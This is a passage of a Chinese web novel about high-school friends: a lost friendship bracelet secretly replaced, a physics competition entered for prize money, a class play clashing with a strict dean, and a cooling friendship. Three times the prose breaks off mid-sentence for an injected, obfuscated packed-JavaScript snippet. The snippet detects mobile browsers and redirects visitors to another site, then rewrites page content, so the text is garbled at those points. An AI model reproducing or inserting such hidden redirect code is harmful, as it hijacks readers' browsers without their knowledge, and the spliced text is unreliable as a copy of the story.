徐澄月抽到和梁嘉和一组,第一轮对战江韫北和杜可颐。不知道体育是不是和理科一样,一样通样样通,徐澄月和梁嘉和被打得节节败退,毫无反抗之力。下一组岳清卓和尤靖上场,跆拳道在身的岳清卓也打不过体育狂魔江韫北。 依照先前制定的游戏规则,输的队要请喝汽水。 杜可颐伸手和江韫北击掌,“感谢体委赢回来两罐汽水啊。” “客气客气。”江韫北扬扬下巴,“那咱小卖部走一趟呗。” 愿赌服输,一行人往小卖部去。徐澄月和岳清卓走在江韫北身后,密谋着晚上以个什么借口,撂倒他。 “喂喂喂!我还没聋,你们要搞小动作也小声点好吧。”江韫北颇为无语,以为他好欺负还是怎么的,每次都当着他面商量损招对付他。 “小动作?”徐澄月侧眸朝岳清卓挑眉,“我们搞大动作。” 两人一人抓住他一条胳膊,岳清卓一记扫堂腿,把人撂倒在地。怕他算账,干完坏事就跑,也不管他在后面咆哮。 等他追到小卖部了,徐澄月非常有眼力见地递上一杯可乐,堵住他的嘴。 江韫北接过,但还是骂骂咧咧,“一天天的把我当沙包啊?!” 徐澄月:“谁让我们小江子长得又壮又结实呢。” 她话里的所属关系让江韫北乐开花,嘴上却还是不饶人,“我长结实是让你们来摔的?” “那可……遭了,我的手绳掉了!”徐澄月看着空荡荡的左手腕,心上一空。 江韫北:“手绳?何意霖送你那条?” “对,她特意给我们求的,完了完了,肯定是刚刚打排球掉了。”汽水也没心情喝了,徐澄月交代岳清卓替她先垫上钱,急匆匆跑回去。 江韫北抄起她喝一半的汽水,把兜里的零钱都掏出来给岳清卓,追上去。 平时跑步唧唧歪歪的人现在生猛得很,等江韫北追上,她已经在扒拉草坪了。 烈日灼灼,她跪在草地上,气还没喘匀,马尾乱得不像话,两个膝盖从这处磨到那处。 找不到什么遮挡的,江韫北摊开手挡在她头顶,冰可乐罐子也捂上她脸,让她边上阴凉处歇着,他来找。 徐澄月不肯,她珍视收到的每一份礼物,生日他们送的礼物,她一样一样妥帖收藏,哪怕只是一支小小的笔,搬家丢了那么多东西,都没舍得丢弃。更何况是朋友特意给她求的,弄丢了比考试考砸了还要着急。 两人找到下节课铃声响都没找着,江韫北拉拉她衣服,“先回去上课吧,放学再来找。” 下午放学,话剧排练请了假,又来找一个多小时,依旧一无所获。徐澄月沮丧地躺倒在草坪上,忧心道:“意霖知道了肯定很难过。” 江韫北说,他有一个方法,可以瞒天过海。 “什么办法?” 二元店,饰品琳琅满目,徐澄月看着眼前一片红色的手绳,花了眼,“这就是你说的方法?” “对。”江韫北挑一条给她,“反正手绳长得都差不多。” 徐澄月忧心忡忡:“这样会不会不太好?” “那就去告诉何意霖实话,和她道歉。” 在让朋友伤心和小小瞒她一次中间,徐澄月选了后者,但她看不上二元店的手绳,“太便宜了,意霖送我的肯定不会这么便宜。” “得,换个地方吧。”江韫北带她到商场里的首饰店,“这些总贵了吧?” 三十块钱一条,徐澄月满意,掏出钱包,这个月零花钱只剩二十块,徐澄月抽出来,扮一张可怜相,“江少爷资助我点?” 江韫北最喜欢她有求于他示弱的模样,钱包捏在手里,摆出一幅不差钱的阔少样,但不说话,就盯着她看。 他翘个尾巴徐澄月就知道他想做什么,十分上道的,对着他一通夸,把最近学到的典故诗词都用上了,哄得江少爷开心,成功拿到他的钱包。 她抽出一张十元,和自己的二十一并递给店员,买下那条手绳。 江韫北又抽二十元塞她兜里,“还剩一周,小卖部不去了?” 徐澄月十分有原则,把钱给回他,“不,我要自己买,只剩一周,忍忍就过去了,十块下个月还你。” 她一些坚持在江韫北看来很没有必要,但这个人有时又轴得很,认定的事情多少头牛都拉不回来,有原则但太过有原则,也不许任何人打破,再亲近也不行,没办法,只好由她。反正钱不收,他买东西请她吃,她总不会不吃吧? 虽然买了新手绳偷天换日,但面对何意霖还是有些心虚,见面时不敢用左手去挎她,连带着和她说话都心虚。 “徐澄月!”何意霖看着心不在焉的朋友,不满地敲敲碗,“这周五到底去不去逛街!” 徐澄月回过神,想起昨天杜可颐的邀约,有些为难地告诉她,他们班语文课代表已经约了她周五放学去她培训的戏剧社看演出,“要不我们一起?” 何意霖犹豫几秒,摇头,她想要的是属于她们两个,单独的约会,而不是她和别人定好行程,顺便加上她。 “那你们去吧,我们下下周再约。”何意霖再一次选择退出。 “我保证,下下周我只约你!” 何意霖心底一点小情绪被她发誓的手指驱散,高兴牵住她,摸到她腕上的手绳,不一样的触感,她想拿起来看,被她一个猛劲抽回去。 “怎么了?” 徐澄月不大自然,也不敢看她,“没,没什么。” 何意霖一眼看出她的不对劲,瞟向她用右手握住的左手腕,心生疑惑,但没再追问。走到她教室,趁她话说得开心没注意,摸了一把她的手绳,心头的疑虑被一团火往上拱,火烤融了脆弱的外衣,显现出内里的躲闪。 那不是她送的手绳。 徐澄月有事隐瞒她,或者说,在欺骗她。 有些种子一旦种下,只消稍稍施肥,就会疯长。 何意霖自认性格直爽,但没直爽到能质问朋友关乎她们友谊的问题,于是一再纠结,一会气愤她为什么欺骗她,一会又为她找理由,试图安抚那些焦灼与不安,但越想越钻牛角尖,连她没把她当真心朋友这样荒唐的想法都出现了。 她立马停止山路十八弯一样的浮想联翩,鼓起勇气找徐澄月说清楚,可对方却忙得不可开交,一问,才知道她被抓去参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079287|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加校内物理竞赛选拔赛。 也不能说是被抓去,而是她在知道选拔赛也有奖金后,一改原先不屑面目,自愿参加。 徐澄月的物理成绩一直不错,考上朝中物理拉了不少分,现在也基本保持单科年级前二十。但她志不在竞赛,学得好纯粹对初中物理老师的偏爱以及后来俞麒的补习,也猜测竞赛后头肯定要补习,一个月里凑不出完整一周玩木头,已经让她很郁闷了,她不想再压缩时间。 于是前脚才把报名表当草稿纸,后脚就被物理老师叫进办公室。 真实想法当然不能直说,但还是委婉表达学习时间紧张,虽然她成绩尚可但人外有人,光一个20班就足以吊打她了,还是不去凑热闹浪费时间了。 物理老师同姓徐,和初中的一样,也是一个幽默的小老头,就是毛发有些稀疏,此刻他摸着光滑的发顶,循循劝导:“你单科排名15,已经把20班一半同学打下去了,看看有没有再往前的机会。再说了,也只是个选拔考试,3个名额,能不能选上也不一定,不至于浪费多少时间。还有啊,这次选拔要是考到前5名,学校是给奖金的,而且市里那场也有,还给加学分,真不考虑下?” “奖金?这校内小比赛还有奖金?”徐澄月压抑着自己的欣喜。 “对啊,报名表都写着呢。” “老师,我参加!” 她最近看上一件木雕作品,有些贵,又不好和父母要钱,参加选拔赛,找阿敛和俞麒补一补,说不定能冲个前五拿下奖金,再凑一凑就够了。她算盘打得响,忘记还在办公室,眼里的精明都要溢出来了。 惹得老徐直笑她小财迷,又给了她一张表,“去吧,填好交过来。” 之后开始一天往20班跑十几次的生活。 去过几次后,徐澄月就发觉现在的20班和初中的快班不一样,相比初中各学各的,现在他们更喜欢围在一团探讨难题,年级前几名当然是中心人物,方之敛和另一个女孩积极参与,而一旁的俞麒则相对安静,只在大家问他意见时开口。 也是这样,徐澄月才得以把他抢到手,但还是有些不安,毕竟在别人的地盘抢人,20班的同学看着也不像只懂读书的书呆子。 想法说出来遭俞麒笑话:“可能有些是书呆子,但绝对没有野蛮人。” 他语气里的揶揄太过明显,叫徐澄月意外,“你开朗很多嘛俞麒,看来20班没我想象的那么枯燥。” “是吗?”俞麒摸了摸自己的脸,嘴角确实是上扬,但他很清楚,这并不是因为在20班的日子,“来,讲题吧,争取一个课间帮你搞定一个知识点。” 习惯了俞麒的讲题方式,通常他讲到一半,徐澄月就搞明白后面的思路,两人配合得越来越默契。 “所以这种两个滑块求它们之间的摩擦力,先判断是静止还是运动,静止就把它们当成一个整体。” “对。” “那如果两个是运动,你看看这样分析对不对?” 俞麒看她改了一个条件,分析出来的步骤,赞许地笑,“聪明。” 徐澄月沾沾自喜,“幸好你比我还聪明,不然可就教不了我了。” 俞麒纵容她得意的话,“那看来我要多钻研多学点,才能让你越来越聪明。” 徐澄月反赞一句:“聪明。” 39. 第 39 章 参加选拔赛后,徐澄月的时间变得更加紧凑起来,不得已推掉几次话剧排练和朋友邀约,整天满心满眼只有各种物理卷子。 江韫北看着都替她累得慌,买个木雕而已,至于把自己搞成这副邋遢样吗? 晚饭在家属院和江韫北他们小区间的公园散步——实际徐澄月是被徐妈赶出门被伙伴生拉硬拽下来的,“你懂什么,书中自有黄金屋!” 江韫北拆她台,“我只看见你眼睛里钻满钱字。” 徐澄月不甘示弱,“哼,没拿过奖学金的人是不懂我们的感受,对吧,清卓阿敛俞麒。” 被点名的三人煞有其事点头。 “靠!你们聚众羞辱我!” “嗯哼?” 江韫北显摆钱包里的现金,“少爷有的是钱,才不屑累死累活拿个千把块。” “哇好有钱哦,那江少爷前面糖水店请一碗糖水呗。”不等他反应,徐澄月自顾自往下说:“多谢江少爷了。” 四碗绿豆沙端上来,徐澄月搅动着勺子,又想起阿爷了,“想念阿爷做的绿豆沙了,哎我要是用这个借口让阿爷过来住一阵,阿爷会答应吗?” 江韫北打破她的幻想,“别想了,阿爷最近忙着呢。” 也是,赶上农收,阿爷忙完自己的还要帮邻里乡亲。 这家店是老字号,好吃量不多,只喝一碗是不够的,徐澄月以俞麟为借口又敲诈了江韫北一碗。 江韫北骂骂咧咧地去前头点单,“俞麟回来我自己会请,要你帮他喝!大晚上的喝那么多冰的你不怕拉稀啊!”扭头,脸色温和下来,和服务员点单,“麻烦再要一份绿豆沙,常温的。” 徐澄月在后头叫:“冰的!” 江韫北仰头长叹,“冰的冰的,给她冰的。” 吃完,几人顺路去徐澄月念了很久的木雕店逛一圈。 那是一间小独栋,一楼是店面,带个小院子,二楼住人。离家属院不远,不算偏,就是位置有些尴尬,在街尽头右侧,像俄罗斯方块被“z”或“」”补足的小缺口,挡了个□□成。 徐澄月一次拐错路发现的,老板是一个年轻女孩,店内售卖的木雕都是她做的,去过一次后,自此打开新天地,像当年去到丁爷爷家。 去的次数多了,老板也认识她,一进门就热络和她打招呼。 “琳姐,‘百变小子’还在吧?”百变小子是她给那个木雕取的名字。 “在呢在呢,”许琳忍俊不禁,逗她,“上周有人看上了,要买,我拼死保住,给人介绍了别的,小月亮,你看看挡了我多少财路啊。”她从柜台后出来,笑着捏捏她脸。 “有两个,你可以卖掉一个嘛。” “那我怎么知道你最后看上哪个。” 徐澄月嘿嘿笑着,“等我练得像样了,我免费给你打工!” 许琳嗔她嘴甜,让她和朋友四处看。 店挺大,一半放着出售的,一面放的她练木雕以来,每个阶段的作品,做展示。徐澄月看到这些,仿佛在看她自己,因而对这家店深感亲切。 逛到她喜欢的那件作品,她激动地让朋友们看,“那就是我喜欢的。” 几人看过去,那件米黄色的木雕,大约一个手掌大小,安静伫立在橱窗里,暖色调的灯光映下,每一道刻痕都生动。 徐澄月望着它,眼里有一片热闹的海,潋滟晚阳,蓝色烟波,泅泳的小鲸,白色的水花。 * 选拔赛时间在话剧比赛后头,徐澄月自认准备差不多了,便将精力放回话剧上。 跟着大部队排练到晚上,累去半条命,还不忘和岳清卓自夸:自己的行程堪比国家主席!真是一只热爱学习和集体的小蜜蜂,考试之神看她这么认真,肯定会眷顾她把她送到前五名的位置上。 岳清卓附和:对的对的,阿敛和俞麒会送你上去的。 两人正玩闹着,就见何意霖和他们班几人说笑着朝这边走来,大概也是来排练的,徐澄月跑上去要和她打招呼,却见她好似没看到她似的扭过头,继续和身边人说话。 徐澄月疑惑地喊她一声,她神色如常地回应,打消了那点疑惑,继而约她话剧比赛后一块出去,先前因为各种不凑巧,她们已经很长时间没约成功过了。 何意霖想了想,没给出确切答复,只说比赛结束后可能班级会有庆祝活动及期末考,不一定有时间。 “没关系,到时我再约你,你有时间咱就出去。” 看着她走进稀薄晚霞里,徐澄月陡然生出一种怪异的想法,她们这段友谊,好像也随着这缕晚霞,在慢慢变淡,慢慢有抽离的迹象。 但很快她阻断发散的思绪,并且反思自己,人家不过是没应这次约而已,前头你可是放了人好几次鸽子。想起来,她还有些愧疚,准备等两人都空了,好好和她赔不是。 元旦那天放假,学校非常有人情味的,没有占用假期举办话剧比赛,时间定在前一天下午。 17班抽签抽到第三个,参演一行人在后台换好衣服,掐着时间又排练了一遍。 主持人叫17班时,主演人员有序进场,徐澄月配音,在场上的幕布后,江韫北负责拍摄,杜可颐和岳清卓站在台下角落,紧紧盯着台上的一举一动。 灯光暗下,话剧开始。 徐澄月紧跟他们的节奏,生怕漏掉需要自己配音的部分。 他们的话剧,名叫《红》,讲述了一个叫李朝的故事。 她生于民国十年,一户农户家,农户生养了她和一个弟弟。她学习很好,但父母重男轻女,只让她读了几年,就把她高价卖给一户富人家当老婆。 嫁过去当天,她才知道那家少爷已经死了,这场婚礼其实是冥婚。 场上的灯光突然暗下去,二胡声骤响,中央一束光打在穿着红衣的“李朝”身上。她被人压着送进舞台的黑暗处,她挣扎着爬出来,可又被拉回去。 灯光慢慢变暗,最后全黑,下一瞬又虚弱地亮起来。 李朝没死去,被一位赤脚医生救下,心生怨恨,想去报复那两家人,但被医生劝住,于是只以恶作剧捉弄了他们一场。 徐澄月需要配音的就是这个地方,以尖锐的声调,表达李朝的愤恨。她看着台上同学的表演,一句一句念出自己的词。 原本应该是惊悚的画面,被杜可颐改得温和,用比较滑稽荒诞的舞蹈,调节前头的剧情。歪七扭八的舞步成功让台下人忘记害怕,爆笑连连,这里的配乐也十分欢乐和滑稽,二胡与钢琴——被徐澄月请来援助的俞麒,也躲在舞台的幕布后——中西结合,将气氛推至最高。 结束后,李朝跟着医生学习。战争爆发,李朝去参军,一面参与医护工作,因笔杆子不错,一面写文章记录战争,后来牺牲在胜利前夕。 “李朝”倒在舞台中央,用最后一丝气音说:“李朝的朝,不是招娣的‘招’,是朝阳,是光明,是李朝自己。” 朝阳的光照在李朝身上。 这时,徐澄月的声音再次响起:“书本是红的,土地是红的,嫁衣是红的,棺木是红的,伤口是红的,战争是红的,光明也是红的。” 灯光再次亮起,台下静默几秒,掌声如雷。 谢幕环节,演员和幕后人员往台上走。 还沉浸在剧中不能自已的杜可颐,被梁嘉和拍拍肩提醒,她吸吸鼻子,说:“走吧,上台。” 她走在前头,突然察觉掌心被塞进一张纸巾,回头,是梁嘉和和煦的脸,“杜可颐,棒呆了。” 说的不知道是剧本,还是她。 一行人致谢完,回到后台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097529|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 杜可颐还是没能控制住情绪,流着泪和他们表达感谢。或许他们以为这只是创作者对作品呈现效果的难以自抑,但只有她自己知道,那是她的反抗,她的呐喊,也是她最后能利用的武器。 演员们也沉浸在戏中,流着泪和杜可颐抱作一团。 整理好情绪,他们回到班级位置。 温沁在队伍后头等他们,见女孩子眼眶红红,也心酸地伸手将几人抱住,而她的课代表,眼泪把她的薄毛衣淌湿,“很棒,大家都很棒,这是我看过最好看的话剧。” 安抚好他们的情绪,温沁悄悄退出礼堂,找到教导主任。 不出她意料,主任果然对其中一些剧情编排颇有微词,言语中还责怪她监管不到位,虽然立意是好的,但有些东西不合适放到现在去讲。 温沁沉默,心头有一股气堵着,让她说不出来话。 主任也没为难她,只暗示她最后的评选,他们班或许不会被考虑。 “为什么?”温沁不解,“就因为您说的那些不合适的东西?” “温老师,你的包庇让这出话剧能正常演出已经是学校睁一只眼闭一只眼了,现在正是学生们面对各种复杂的观点,去思考去分辨去形成他们自己的思想的时候,我们作为师长,应该要给予正面引导,让他们树立积极的思想,这种模棱两可的东西,我觉得以他们现在年纪,还无法正确对待。这是对你们违反学校规则、老师本分的惩罚。” “惩罚,为什么我们要被惩罚?”声音自后方传出,是溜出来上厕所的徐澄月和杜可颐。 她们不小心撞到两人的谈话,听完主任的声讨,杜可颐沉不住气站出来。 “胡闹,谁让你们偷偷出来,还偷听老师讲话的?” 杜可颐不理会他的质问,一心只想着他对他们下的定论,“主任,我非常赞同您说的,现在是我们树立正确价值观的时候,可那些不好的,难道会让我们躲一辈子吗?难道因为怕人们学坏,就去阻止一些东西的出现吗?我不觉得我们这个年纪还分辨不出是非善恶,我们即将成年。如果真的存在您担心的,这个社会就不需要文学作品了,那是不是也可以说明,学校、家庭、社会的教育出现了问题呢?” “你……”主任被气得面红耳赤。 杜可颐却丝毫不收敛露出来的锋芒,她觉得自己没错,她的剧本没错,温沁没错,辛辛苦苦完成这场演出的同学也没错。 温沁连忙打圆场。 徐澄月虽也不同意主任的观点,但她知道无法与与其辩驳,于是拐个弯,抓住比赛的漏洞:“主任,我记得当时比赛的说明书上写着‘鼓励大家发挥想象力和创造力,解放天性,创作属于自己的故事’,我认为我们充分践行了学校的要求,况且活动没有确切说明哪些东西不能出现,我们也不算违反规则。而且,我觉得我们的话剧十分有新意,既是原创剧本,又加入了舞蹈、乐器、配音等元素,您不能拿您自己觉得不对的东西去否定这些。” 主任没想到纵横教坛多年,以让学生闻风丧胆出名,居然被两个小女孩拿捏住,正想好好教育一顿,被温沁打断。 温沁示意她们先回去,这里她来收场,等两人跑出视线范围,才心平气和地说:“主任,我知道您的出发点是为他们好,但您也说了,孩子们现在要面对各种复杂观点,那无论是好是坏,他们都应该接触,而不是一直给他们灌输光明的思想,残酷的现实却一再遮掩。而且,他们非常重视比赛,花费了很多精力,就因为这个,他们也必须被尊重。” 先前她的沉默,是因为身处工作的不得已,主任不仅是她的师长,更是她的领导,掌握她的职场生死,但两个女孩的挺身而出,让她意识到,她还是个老师。 她的孩子们,需要一个公平公正的结果。 40. 第 40 章 17班最后夺得话剧比赛二等奖。一等奖是19班和20班的《范进中举》,他们其中一个主演是少年演员,将范进演得惟妙惟肖,奖拿得实至名归。 结果宣布后,徐澄月和杜可颐都松口气。和主任争辩时只想把所有不被理解的地方一一反驳,语气冲了点,也没考虑会否影响比赛,幸好结果尚可,两人没成17班罪人。 回到班级,教室的桌椅不知何时被移到三面墙侧,中间几张拼成一大张,上面散落着各种零食。 突如其来的惊喜让同学们兴奋不已,温沁适时走进来,控制住骚乱。 教室的一切是她授意的,无论他们是否得奖,都会有这一场庆祝会。 她抬手让他们安静下来,“同学们,先庆祝我们班话剧比赛夺得二等奖,来,为自己鼓掌。” 一顿噼啪响。 “好好好,别把手拍疼了。”瞥见几个格外捧场的男同学,温沁连忙叫停,“四个月前,大家互不相识,现在和睦相处,还完成了一次非常棒的活动,时间,是不是非常有魅力?我想是的,它把这么多棵形态不一的树苗种到同一个园子里,现在各有长势,让园子成了一处独特风景。虽然下学期我们面临分班,但我希望这一年,能给你一点不一样的东西,可能是有趣可爱的同学,可能是我这个有点浪漫细胞的理工女,也可能是你在这里创造的故事。所以今天庆祝结果,更重要的是祝贺绽放。感谢我们的主创人员,感谢背后默默支持的同学。现在,大家敞开肚子享受你们的成果吧。” 欢呼声热烈。 温沁被这个那个拉去拍照,带了相机的江韫北成了御用摄影师,并不在意他的技术有多好,只是想记下此刻的心情。 足足半小时,温沁才得以脱身。刚出教室,就被徐澄月和杜可颐追上,猜测她们是为和主任那场争辩而来,果不其然。 “为什么道歉呢?”温沁玩味地看着她们,两人的神情可不像后悔和主任叫板。 徐澄月说:“我们和主任顶嘴,是不是连累你了?” “呀,我以为你们是后悔了。”温沁故作意外。 杜可颐撇撇嘴,“才不后悔呢,他个老古板。” 温沁笑着拍她脑袋,“不许议论主任。好了,我觉得你们没错,也没连累我,不用和我道歉。” 徐澄月和杜可颐对视一眼,不可思议地看向她。 “如果我觉得你们不对,这个话剧就不会出现了。要知道,主任之所以能成为主任,就是那一套正统到有些……嗯好吧,你们说得没错,正统到有些古板的思想。但主任也没有大错,毕竟他希望他的学生们都能更快乐些。” 杜可颐又有点想落泪,为第二次被人理解和尊重,想去拉温沁的,又觉得她毕竟是老师,这样做太轻浮,只能转而将徐澄月的手攥得紧紧的,眼睛却还是直勾勾盯着温沁。 徐澄月看出她的心思,憋着笑帮她一把,“老师,她想抱你。” 杜可颐扭头瞪她,她才没有!只是想拉下手,她才没那么轻浮! 温沁愣了片刻,随后主动温柔地抱住她,“可颐,你真的很棒,继续加油,我期待你更多作品。” 杜可颐也伸手回抱她,将这句话记到心里。 回到教室,东西四零八乱的,零食还剩大半。 徐澄月有些饿,拆了包薯片,边吃边四处看,找不到岳清卓,只看见江韫北还被逮着给同学拍照。见他嘴上嚷嚷但乐在其中,便没去解救。 值日的同学开始打扫卫生,梁嘉和在分吃剩的零食,给住宿的同学带走。弄完,窜过来问她们,他们主创一群人,续不续摊,再吃个饭庆祝一下。 杜可颐没异议,让他去喊人。 徐澄月思考片刻,拒绝了,她想去找何意霖,三天见不着,放假回来她也差不多要考试,时间又碰不上。 走到19班,恰巧碰见她和两名女生手挽手出来。四目相对,何意霖很惊讶问她怎么来了。 惊喜的神色,却无端让徐澄月听出生疏,她强做笑脸,“明天放假了,今天可以晚一点回去吗?我们去吃东西。” 何意霖委婉拒绝:“话剧比赛,你们班不庆祝一下吗?” “要,但我……”拒绝了。 “那你和你们班人去玩吧,我们班也要,下次再一起吃饭,我们先走了。” 徐澄月看着她们从她身边走过,何意霖被夹在中间,或许是被右边女生挡住,没法看她。她听到那个女生与她耳语,问她是谁,何意霖说,是同学。 同学两个字伤到徐澄月了,她虽然喜欢交朋友,但也不是每个朋友都深交。她们初中三年,由同桌延伸的缘分,早在她心里,何意霖就是和岳清卓他们一样的朋友。 问她谁更重要,她不想答,也不会回答,只会觉得问的人脑子有病。每个朋友她都放在同等位置,认真对待,没有谁比之谁更重要,她只会根据每个人的性格,给予自己能力范围内并让对方觉得舒服的真心。 同样的,她也需要回馈,不需要同等,但至少要让她知晓,你也在珍视这份感情。 她叫住了何意霖,礼貌让两位同学到前头等一等。几乎想直截了当问为什么向别人介绍她只是同学,但太生硬,或许会让她为难,转而委婉问:“我们之间,好像没以前亲近了。” 何意霖微怔,那句同学确实是故意气她,好叫她尝尝她最近情绪的千回百转。但她却坦诚问出,不需要过后弯弯绕绕去猜,也不用受那些酸涩煎熬。其实应该料到的,她就是这样的性子,直肠子,当天事当天解决,绝不会留着把自己绕死。 可偏偏这不是何意霖的性子,其他事再怎么直爽,面对重要的人,总是难免矫情。但这又偏偏是她渴望做到的。 于是恼火再升,轻易说出更气人的话,“不在一个班了,是这样,总会有新朋友。” “有新朋友就要把老朋友忘了吗?”徐澄月步步紧追。 “没有忘。”何意霖在心里默默叹气,终归不是她,做不到把心里话一次剖开谈,也没办法继续这样和她对峙下去,“但我现在要和她们去吃饭了。” 徐澄月咬牙,脸上云淡风轻,心里早已变成被江韫北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127637|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欺负到炸毛挠墙的烤鸽。 她都要气死了她还有心情去吃饭,也不关心她吃没吃,现在只稍问她一句要不要一起去,她就就坡下驴消气了啊! 何意霖这个大笨蛋。 “那你去吧!”徐澄月气呼呼地跑开,感觉脚下灌了铁,能把地踩平,但依旧轻声。以为她会叫住她,但她没有。 拿自行车路上碰到班里一群人,说说笑笑准备去吃饭。徐澄月想偷偷溜走,哪知被眼尖的江韫北喊住。他推着自行车上前,开口就往她身上戳刀子。 “不是找何意霖去了吗,人呢?” 正撞枪口上,徐澄月脾气上来,狠狠瞪他,“要你管!” 江韫北摸不着北,“吃炮仗了!” 徐澄月横眉冷对,“吃炸药了,能把你连人带车嘣回老家去!” 晚上吃饭,一碗饭数着米粒吃完,回房间,复习没心思,玩木头也没心思,抱着烤鸽坐在落地窗前,一遍一遍回想这段时间来和何意霖发生的事。 想不出,找不到,让她们之间发生变化的导火索。 太过入神,房间有人进来都没发现,直到屁股下被塞进来一个软乎乎的坐垫,侧眸一看,才发觉妈妈进来了。 “怎么坐地上了,这么凉。” 徐澄月歪着身子倒向母亲怀抱,像暴躁的狗一样,脑袋一个劲在母亲胸口蹭。 徐妈任她蹭了一会,才笑着开口:“好了好了,再蹭要秃了。怎么了?有烦心事吗?” 徐澄月叹气,老成模样,“妈,你说人为什么越长大,烦恼的事越多呢?长大好烦,还是小时候,跟在阿爷身边好玩。” 徐妈给她揉着右手中指上,因长时间握笔凸出来的小疙瘩,“傻孩子,人哪有不长大的。你觉得烦,是因为你经历的事逐渐变多,看事情的角度越来越全,思考能力越来越强,虽然会经历一点痛苦,但慢慢的你会发现,呀,原来我已经变得这么强大了啊。” 徐澄月惆怅:“一定要变强大吗?我一直这样不好吗?” “也好啊,一直保持纯粹,善良,活得简单点也好。可是这样,有些该经历但被避开的烦恼啊痛苦啊,在一些重大变故前,可能会翻倍出现。我和你爸,自认为没有能力保护你一辈子不受什么磨难,也不敢说在你需要帮助的时候,及时出现在你身边。所以我们还是希望你,在这一路成长上,能变得强大点,独立点。” 徐妈见她没有不耐,继续道:“真正强大的人,能坦然接受所有事的发生,不会因为来来往往的人,大大小小的事,影响自己的人生轨迹,能守住自己,守住自己的生活,守住自己的思想。这样的人,她也柔软,就像海绵,像弹簧,无论经历什么,都能回到原本的自己。” 徐妈看着女儿一副一知半解模样,笑了,摸摸她的脸,“听懵啦?” 徐澄月没点头,也没摇头。 “简单点来说,就是现在你面临的烦心事,如果觉得重要,那就解决它,如果是可有可无,那就让它过去。” “好了,出来吃水果吧,烤鸽也要喝水了。” 41. 第 41 章 选拔考试在周五,考完五点多。 三人一道回教室,路上方之敛和俞麒在对答案,徐澄月边上听着,她考完也没记答案,但依稀有几个和他们说的吻合。 教室里,江韫北和岳清卓已经帮他们收拾好东西了。徐澄月背上书包,问他们回不回云水村。 事先也没说,几人都觉突然,徐澄月也是考完交卷那会才决定的。 岳清卓:“我明天上课,下午上完回去。” 方之敛:“我要上竞赛班,也是一天。” 俞麒:“俞麟回不来,我明天和我妈去看他。” 江韫北:“那等明天再回吧,刚好我爸妈回来,一块回去。” 徐澄月摇头,“等不及了,我先回,你们忙完回来,菜名发我,我先和阿爷买菜去。” 撂下这话,她风风火火跑远了。 江韫北觉得不对劲,问两人她是不是考砸了,回去找阿爷求安慰? 方之敛也不清楚,“刚刚我和俞麒对答案,澄澄是没怎么说话。” 江韫北肯定道:“八九不离十,奖金泡汤了,东西买不成,她可不郁闷呢。” 岳清卓拎起书包跟着往外,“那课我明天不上了,我陪她回去吧。” 江韫北追上去,吼她:“你那课花的我的钱,什么就不上了!岳清卓!” 俞麒落在最后,掏出钱包看一眼,又放回去,追上他们。 徐澄月按捺不住,车上就给阿爷打了电话,快到站,果真瞧见阿爷来回踱步的身影。 爷孙俩亲亲热热问候一番,阿爷揽着人去买菜加餐。 回到家,徐澄月看见饭桌上两个菜,应该是隔顿的,菜叶子蔫蔫黄黄。而厨房里,阿爷正兴奋地对着鲜鸡鲜鱼大刀阔斧,她有些心疼,顺手把菜给他倒了,埋怨他对自己不好,一日三餐老是敷衍。 阿爷乐呵呵地为自己辩驳:“我是懒得每顿都做,就干脆一次做多点。” “那也不行!”徐澄月凶巴巴的,“隔夜菜里有很多细菌的,你们现在年纪大,抵抗力不好,更容易吃出毛病。每顿都得吃新鲜的,别犯懒,再不听话,我和江叔说,让他骂你!” “他敢!我是他老子,敢骂我。” “那我骂!” 阿爷瞬间消了士气,碰她胳膊哄她出去,“好好好,阿爷听你的,去外面,别熏着。” 饭做好,摆一大桌,徐澄月才想起没先回家见阿嬷,正打算叫她来一起吃,被阿爷拦住。 “这个点没来,就是和朋友出去玩,顺道吃了。鼻子灵着呢,到点就来报道,她可不会亏待自己。” 徐澄月给他倒上酒,“那您也学我阿嬷,没事出去玩玩。” 阿爷避什么似的忙摆手,“玩什么啊,又是跳舞,又是看戏打牌的,我不爱做这些。” “是是是,没什么比得上您地里那些家伙。” “那是,一片片,五颜六色,好看又能吃。” 一顿饭吃了两小时,阿爷高兴多喝了几口,飘飘然的,徐澄月扶他回房休息,把饭桌收拾好,回了自己家。阿嬷还没回来,客厅坐着等没意思,她拎起书包上了屋顶。 今晚云有些厚,将月亮遮住大半,整个天空灰蒙蒙的,像被搅过的池塘,有些浑浊。光暗,字看得勉强,她把做了一半的物理试卷收个尾,便收起来,拄着手臂看天空,喃喃自语:“一轮澄亮的月亮徐徐升起,现在是一轮澄亮的月亮掉进泥巴沟里。” 